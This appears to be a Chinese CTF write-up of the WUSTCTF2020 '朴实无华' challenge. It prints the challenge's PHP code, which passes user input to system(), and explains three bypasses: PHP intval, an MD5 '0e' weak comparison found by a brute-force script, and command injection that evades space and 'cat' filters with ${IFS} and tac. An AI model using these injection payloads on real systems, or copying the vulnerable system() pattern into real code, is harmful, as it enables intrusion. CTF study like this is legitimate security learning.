BUUCTF之[WUSTCTF2020]朴实无华 --------------- MD5碰撞

在这里插入图片描述

启动挑战页面
在这里插入图片描述

访问一下robots.txt看看有没有什么提示
在这里插入图片描述
发现有个可疑的链接:/fAke_f1agggg.php
在这里插入图片描述
在这里插入图片描述
到这里就可以看到重要的源码了

<img src="/img.jpg">
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";
    }else{
        die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");
    }
}else{
    die("鍘婚潪娲插惂");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";
   else
       die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
}else{
    die("鍘婚潪娲插惂");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";
        system($get_flag);
    }else{
        die("蹇埌闈炴床浜�");
    }
}else{
    die("鍘婚潪娲插惂");
}
?> 

但是不知道为什么,我这里显示的中文全是乱码的。所以稍微改一改:

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


echo "<br>";
//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "第一关通过.</br>";
    }else{
        die("第一关失败");
    }
}else{
    die("请输入变量num");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "第二关成功.</br>";
   else
       die("第二关失败");
}else{
    die("请输入变量md5");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "第三关成功.</br>";
        system($get_flag);
    }else{
        die("第三关失败");
    }
}else{
    die("请输入变量get_flag");
}
?> 

可以看到这里有三关,绕过这三关后才能获取flag
第一关: 传入一个变量num,经过intval函数转换后使得它小于2020.但是加1后要大于2021

if(intval($num) < 2020 && intval($num + 1) > 2021)

这关的主要难点是就是intval,所以我们需要查查看intval是什么东西:intval函数
因为我很久之前做过这道题,当时看了一位大佬的解说这里可以绕过。所以有印象…
在这里插入图片描述
为了验证是否正确,所以写了简单的测试:

<?php
header('Content-type:text/html;charset=utf-8');
$num = $_GET['num'];
$res1 = intval($num);
$res2 = intval($num + 1);

echo $res1;
echo "<br>";
echo $res2;
echo "<br>";
?>

然后输入num=1000e10看看能不能绕过这里,结果是可以的:
在这里插入图片描述

第二关: 传入一个变量md5,并且这个变量经过MD5加密后。这两个值相等

$md5=$_GET['md5'];
if ($md5==md5($md5))

两个等于号,说明是MD5弱碰撞。即:0e123456 == 0e654321
但是这里的难点是,什么样的字符串满足:

  • 加密前以0e开头+数字
  • 加密后也是以0e开头+数字

这里没有什么技巧可言,所以这里我用暴力破解来找出这个字符串。这里附上Python3代码:

import hashlib
from queue import Queue

"""
使用广度优先搜索来暴力破解MD5碰撞
"""
str = "0123456789"
Q = Queue()     # 创建一个队列
Q.put("0e")
MD5_KEY = 0
MD5_VALUE = 0

while not Q.empty():    # 当队列不为空时
    temp = Q.get()
    # print(temp)
    for s in str:
        strings = temp + s
        Q.put(strings)
        md5 = hashlib.md5()  # 获取一个md5加密算法对象
        md5.update(strings.encode('utf-8'))  # 指定需要加密的字符串
        md5_value = md5.hexdigest()  # 获取加密后的16进制字符串
        if md5_value[0:2] == "0e" and md5_value[2:].isdigit():
            print("----------------------------------------------------------------------------------")
            print(strings)
            print(md5_value)
            print("----------------------------------------------------------------------------------")


print("---------------------------------完成-------------------------------------")


这份代码需要运行20分钟左右才会出答案 。并且我这里写的是个死循环,所以它不会正常结束。所以等到它暴力破解出正确答案后就可以停止运行了。当然你也可以让它继续运行,但是这样它会不断的需要分配内存。直到产生错误。。。。
在这里插入图片描述
可以看到字符串:0e215962017 是满足的。
一开始我是用深度优先搜索来暴力破解的,但是做不出来。所以才改成广度优先搜索来做…
所以第二关为:md5=0e215962017

第三关: 传入一个变量get_flag,并且这个变量不能用空格

$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," "))

也不能有字符串"cat"

$get_flag = str_ireplace("cat", "wctf2020", $get_flag);

首先是绕过空格,可以看这篇文章
根据这篇文章,我们可以用这些符号来绕过:

  • ${IFS}
  • $IFS$9
  • <
  • <>

至于cat绕过,我们可以用tacca\t来绕过。
所以这一关,我们可以写成以下的其中一种:

tac${IFS}flag
tac$IFS$9flag
tac<flag
tac<>flag
ca\t${IFS}
ca\t$IFS$9
ca\t<
ca\t<>flag

所以总的Payload为:?num=1000e10&md5=0e215962017&get_flag=tac${IFS}flag。
但是你会发现这样并不能获取flag,因为没有flag这个文件。
所以我们需要先用ls命令来看看当前目录下可疑的文件
在这里插入图片描述
因为fAke_f1agggg.phpfl4g.php这两个文件我们上面就访问过了,所以这里我们访问fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag 看看能不能获取flag。
所以最终Payload为:

?num=1000e10	
&md5=0e215962017
&get_flag=tac${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag 

在这里插入图片描述

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值